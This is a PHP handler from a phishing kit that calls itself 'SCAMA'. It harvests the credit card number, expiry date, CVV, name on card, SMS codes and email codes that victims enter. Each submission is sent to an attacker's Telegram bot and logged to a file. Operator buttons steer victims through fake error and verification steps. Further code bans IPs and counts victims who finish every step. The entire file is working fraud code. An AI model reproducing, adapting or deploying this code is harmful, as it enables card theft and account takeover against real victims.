<?php
    error_reporting(0);
    session_start();

    require("../libraries/UserInfo.php");
    require_once('../libraries/geoplugin.class.php');
	include "../setting/config.php";
	include "../setting/functions.php";
    include "../includes/empty_file.php";
    include "../includes/added.php";

    $geoplugin = new geoPlugin();
    $geoplugin->locate();
    $ip = get_client_ip();
    $link_panel = $_SESSION["panel_control"];
    $panel_telegram = $_SESSION["panel_telegram"];
    $main_panel = $_SESSION["main_panel"];
    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $host = $link_panel;
    $panel_target = $link_panel;
    $information_error = $panel_telegram."&to=information-error";
    $credit_card_error = $panel_telegram."&to=credit-card-error";
    $sms = $panel_telegram."&to=sms";
    $sms_error = $panel_telegram."&to=sms-error";
    $approvation = $panel_telegram."&to=approvation";
    $approvation_error = $panel_telegram."&to=approvation-error";
    $email_code = $panel_telegram."&to=email-code";
    $email_code_error = $panel_telegram."&to=email-code-error";
    $confirmed = $panel_telegram."&to=confirmed";
    $logout = $panel_telegram."&to=logout";
    $ban = $panel_telegram."&ban=$ip";
    
    $keyboard = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "⛔ ERROR Information ⛔",
                    "url" => "$information_error"
                ],
                [
                    "text" => "⛔ ERROR Credit Card ⛔",
                    "url" => "$credit_card_error"
                ]
            ],
            [
                [
                    "text" => "💬 SMS 💬",
                    "url" => "$sms"
                ],
                [
                    "text" => "⛔ ERROR SMS ⛔",
                    "url" => "$sms_error"
                ]
            ],
            [
                [
                    "text" => "📲 Approvation 📲",
                    "url" => "$approvation"
                ],
                [
                    "text" => "⛔ ERROR Approvation ⛔",
                    "url" => "$approvation_error"
                ]
            ],
            [
                [
                    "text" => "📩 Email Code 📩",
                    "url" => "$email_code"
                ],
                [
                    "text" => "⛔ ERROR Email Code ⛔",
                    "url" => "$email_code_error"
                ]
            ],
            [
                [
                    "text" => "✅ CONFIRM ✅",
                    "url" => "$confirmed"
                ],
                [
                    "text" => "🗑 Logout 🗑",
                    "url" => "$logout"
                ]
            ],
            [
                [
                        "text" => "🛑 Ban IP 🛑",
                        "url" => "$ban"
                ]
            ],
        ]
    ]);

    $keyboard_end = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "🗑 Logout 🗑",
                    "url" => "$logout"
                ]
            ],
            [
                [
                        "text" => "🛑 Ban IP 🛑",
                        "url" => "$ban"
                ]
            ],
            [
                [
                        "text" => "📊 Main Panel 📊",
                        "url" => "$main_panel"
                ]
            ],
        ]
    ]);

    if($_SERVER['REQUEST_METHOD'] === 'POST'){
        if($_POST['step'] === 'credit-card'){
            if (isset($_POST['b_s_d_3'])) {
                // Info User :
               $name_card = $_POST['name_card'];
               $card_number = $_POST['numberdrac'];
               $expires = $_POST['datedrac'];
               $cvv = $_POST['vvcdrac'];
               $apiKey = ApiBin;
               $cardNumber = str_replace(' ', '', $card_number);
               $firstSixDigits = substr($cardNumber, 0, 6);
               $lastFourDigits = substr($cardNumber, -4);
               
               $url = "https://data.handyapi.com/bin/" . $firstSixDigits;
               $options = [
                   "http" => [
                       "method" => "GET",
                       "header" => "x-api-key: {$apiKey}\r\n"
                   ]
               ];
           
               $context = stream_context_create($options);
               $response = @file_get_contents($url, false, $context);
               $data = @json_decode($response, true);

                if ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-mastercard.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "VISA") {
                    $_SESSION["image_by"] = '<img src="../img/by-visa.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "DISCOVER") {
                    $_SESSION["image_by"] = '<img src="../img/by-discover.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-moestro.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "AMERICAN EXPRESS") {
                    $_SESSION["image_by"] = '<img src="../img/by-american-express.png" style="width:80px !important" alt="">';
                } else {
                    $_SESSION["image_by"] = '<img src="../img/by-other.jpg" style="width:49px !important;">';
                }

               $_SESSION["name_the_bank"] = $data["Issuer"];
               $_SESSION["Type"] = $data["Type"];
               $_SESSION["Scheme"] = $data["Scheme"];
               $_SESSION["Last_four_digits"] = $lastFourDigits;
       
               // Send Data To Telegram Bot :
               $message =
               "💳=====[ Credit Card ]=====💳\r\n".
               "[ 💳 Name On Card ] " . $name_card ."\r\n".
               "[ 💳 Card Number ] " . $cardNumber ."\r\n".
               "[ 📅 Expiry Date ] " . $expires ."\r\n".
               "[ 🔐 Cvv ] " . $cvv ."\r\n".
               "[ 💳 Type Card ] " . $_SESSION["Type"] ."\r\n".
               "[ 💳 Type Card ] " . $_SESSION["Scheme"] ."\r\n".
               "[ 🏦 Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
               "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "💳=====[ Credit Card ]=====💳\r\n";

               $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
               $message_to_file = 
               "[=====[ Credit Card ]=====]\r\n".
               "[ Name On Card ] ". $name_card ."\r\n".
               "[ Card Number ] " . $card_number ."\r\n".
               "[ Expiry Date ] " . $expires ."\r\n".
               "[ Cvv ] " . $cvv ."\r\n".
               "[ Type Card ] " . $_SESSION["Type"] ."\r\n".
               "[ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
               "[ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
               "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "[=====[ Credit Card ]=====]\r\n";

               $file = fopen("../file/file.txt", "a");
               fwrite($file, $message_to_file. "\n");
               fclose($file);

               $target = $_POST['ip'];
               $data_count = 'data_3';
               empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'credit-card-error'){
            if (isset($_POST['b_s_d_4'])) {
                // Info User :
               $name_card = $_POST['name_card'];
               $card_number = $_POST['numberdrac'];
               $expires = $_POST['datedrac'];
               $cvv = $_POST['vvcdrac'];
               $apiKey = ApiBin;
               $cardNumber = str_replace(' ', '', $card_number);
               $firstSixDigits = substr($cardNumber, 0, 6);
               $lastFourDigits = substr($cardNumber, -4);
               
               $url = "https://data.handyapi.com/bin/" . $firstSixDigits;
               $options = [
                   "http" => [
                       "method" => "GET",
                       "header" => "x-api-key: {$apiKey}\r\n"
                   ]
               ];
           
               $context = stream_context_create($options);
               $response = @file_get_contents($url, false, $context);
               $data = @json_decode($response, true);

                if ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-mastercard.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "VISA") {
                    $_SESSION["image_by"] = '<img src="../img/by-visa.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "DISCOVER") {
                    $_SESSION["image_by"] = '<img src="../img/by-discover.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-moestro.png" style="width:80px !important" alt="">';
                } elseif ($data["Scheme"] === "AMERICAN EXPRESS") {
                    $_SESSION["image_by"] = '<img src="../img/by-american-express.png" style="width:80px !important" alt="">';
                } else {
                    $_SESSION["image_by"] = '<img src="../img/by-other.jpg" style="width:49px !important;">';
                }

               $_SESSION["name_the_bank"] = $data["Issuer"];
               $_SESSION["Type"] = $data["Type"];
               $_SESSION["Scheme"] = $data["Scheme"];
               $_SESSION["Last_four_digits"] = $lastFourDigits;
       
               // Send Data To Telegram Bot :
               $message =
               "💳=====[ Credit Card ERROR ]=====💳\r\n".
               "[ 💳 Name On Card ] " . $name_card ."\r\n".
               "[ 💳 Card Number ] " . $cardNumber ."\r\n".
               "[ 📅 Expiry Date ] " . $expires ."\r\n".
               "[ 🔐 Cvv ] " . $cvv ."\r\n".
               "[ 💳 Type Card ] " . $_SESSION["Type"] ."\r\n".
               "[ 💳 Type Card ] " . $_SESSION["Scheme"] ."\r\n".
               "[ 🏦 Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
               "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "💳=====[ Credit Card ERROR ]=====💳\r\n";

               $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
               $message_to_file = 
               "[=====[ Credit Card ERROR ]=====]\r\n".
               "[ Name On Card ] ". $name_card ."\r\n".
               "[ Card Number ] " . $card_number ."\r\n".
               "[ Expiry Date ] " . $expires ."\r\n".
               "[ Cvv ] " . $cvv ."\r\n".
               "[ Type Card ] " . $_SESSION["Type"] ."\r\n".
               "[ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
               "[ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
               "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
               "[=====[ Credit Card ERROR ]=====]\r\n";

               $file = fopen("../file/file.txt", "a");
               fwrite($file, $message_to_file. "\n");
               fclose($file);

               $target = $_POST['ip'];
               $data_count = 'data_4';
               empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'sms'){
            if (isset($_POST['b_s_d_5'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message = 
                "📲=====[ Code SMS ]=====📲\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=====[ Code SMS ]=====📲\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
                $message_to_file = 
                "[=====[ Code SMS ]=====]\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Code SMS ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_5';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        } 
        elseif($_POST['step'] === 'sms-error'){
            if (isset($_POST['b_s_d_6'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message = 
                "📲=====[ Code SMS ERROR ]=====📲\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=====[ Code SMS ERROR ]=====📲\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
                $message_to_file = 
                "[=====[ Code SMS ERROR ]=====]\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Code SMS ERROR ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_6';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'accept-app'){
            if(isset($_POST['b_s_d_7'])) {
                $status = "User Click Continue From Page (Approvation)";

                // Send Data To Telegram Bot :
                $message =
                "📲=====[ Step Approvation ]=====📲\r\n".
                "[ Status ] " . $status ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=====[ Step Approvation ]=====📲\r\n";
                
                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Step Approvation ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Step Approvation ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_7';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'accept-app-error'){
            if(isset($_POST['b_s_d_8'])) {
                $status = "User Click Continue From Page (Approvation) Error";

                // Send Data To Telegram Bot :
                $message =
                "📲=====[ Step Approvation ERROR ]=====📲\r\n".
                "[ Status ] " . $status ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📲=====[ Step Approvation ERROR ]=====📲\r\n";
                
                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Step Approvation ERROR ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Step Approvation ERROR ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_8';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
            
        }
        elseif($_POST['step'] === 'email-code'){
            if (isset($_POST['b_s_d_9'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message = 
                "📩=====[ Code Email ]=====📩\r\n".
                "[ Code Email ] " . $mss ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📩=====[ Code Email ]=====📩\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
                $message_to_file = 
                "[=====[ Code Email ]=====]\r\n".
                "[ Code Email ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Code Email ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_9';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        } 
        elseif($_POST['step'] === 'email-code-error'){
            if (isset($_POST['b_s_d_10'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message = 
                "📩=====[ Code Email ERROR ]=====📩\r\n".
                "[ Code Email ] " . $mss ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "📩=====[ Code Email ERROR ]=====📩\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
               
                $message_to_file = 
                "[=====[ Code Email ERROR ]=====]\r\n".
                "[ Code Email ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Code Email ERROR ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_10';
                empty_file($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'confirmed'){
            if(isset($_POST['b_s_d_11'])) {
                $status = "Victim Complete steps successfully";
        
                // Send Data To Telegram Bot :
                $message =
                "💸💶=====[ Status ]=====💸💶\r\n".
                "[ Status ] " . $status ."\r\n".
                "📍IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "💸💶=====[ Status ]=====💸💶\r\n";
                
                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard_end
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Status ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$geoplugin->countryCode."\r\n".
                "[=====[ Status ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_11';
                empty_file($target, $data_count, $message_to_file);
            }
        
            header('Location: ../pages/loading.php');
            
        }
    } 
    elseif ($_SERVER['REQUEST_METHOD'] === 'GET') {
        if(!isset($_GET["id_vip"])) {
            $_GET["id_vip"] = $_GET['id_user'];
        }
        if ($_GET['to'] === 'information-error') {
            $target = $_GET['id_vip'];
            $to = "information-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'credit-card-error'){
            $target = $_GET['id_vip'];
            $to = "credit-card-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'sms'){
            $target = $_GET['id_vip'];
            $to = "sms";
            added($target, $to);
        }
        elseif($_GET['to'] === 'sms-error'){
            $target = $_GET['id_vip'];
            $to = "sms-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'approvation'){
            $target = $_GET['id_vip'];
            $to = "approvation";
            added($target, $to);
        }
        elseif($_GET['to'] === 'approvation-error'){
            $target = $_GET['id_vip'];
            $to = "approvation-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'email-code'){
            $target = $_GET['id_vip'];
            $to = "email-code";
            added($target, $to);
        }
        elseif($_GET['to'] === 'email-code-error'){
            $target = $_GET['id_vip'];
            $to = "email-code-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'confirmed'){
            $target = $_GET['id_vip'];
            $to = "confirmed";
            added($target, $to);

            $statics_file = "../panel/get-panel/statics.json";
            $statics_data = file_get_contents($statics_file);
            $data_main_panel = json_decode($statics_data, true);
            $data_main_panel['total_done_steps'] += 1;
            $updated_statics_data = json_encode($data_main_panel);
            file_put_contents($statics_file, $updated_statics_data);
        }
        elseif($_GET['to'] === 'logout'){
            $target = $_GET['id_vip'];
            $to = "logout";
            $current_page = "User Is Logout From SCAMA";
            $userStatus = "<span class='offline'>Offline</span>";
            added_other($target, $to, $current_page, $userStatus);

            $statics_file = "../panel/get-panel/statics.json";
            $statics_data = file_get_contents($statics_file);
            $data_main_panel = json_decode($statics_data, true);
            $data_main_panel['total_done_steps'] += 1;
            $updated_statics_data = json_encode($data_main_panel);
            file_put_contents($statics_file, $updated_statics_data);
        }
        elseif(isset($_GET['ban'])){
            $target = $_GET['ban'];
            $to = "ban";
            added($target, $to);
            
            function validateIP($ip) {
                return filter_var($ip, FILTER_VALIDATE_IP) !== false;
            }
            
            $userIP = $_GET['ban'];

            if (validateIP($userIP)) {
                $blockedIPs = file_get_contents('../panel/actions/blocked_ips.txt');
                if (strpos($blockedIPs, $userIP) === false) {
                    file_put_contents("../panel/actions/blocked_ips.txt", $userIP . "\n", FILE_APPEND);

                    // Statics :
                    $statics_file = "../panel/get-panel/statics.json";
                    $statics_data = file_get_contents($statics_file);
                    $user_data = json_decode($statics_data, true);
                    $user_data['total_block'] += 1;
                    $updated_statics_data = json_encode($user_data);
                    file_put_contents($statics_file, $updated_statics_data);

                    $_SESSION["message_panel"] = "This User Is Block - " . $userIP;

                } else {
                    $_SESSION["message_panel"] = "This User Is Already Block - " . $userIP;
                }
            } else {
                $_SESSION["message_panel"] = "Invalid IP address - " . $userIP;

            }
            
        }
        header('Location: ./panel.php?id_user='. $_GET["id_vip"].'');
    }
    else {
        header('Location: ../index.php');
    }
?>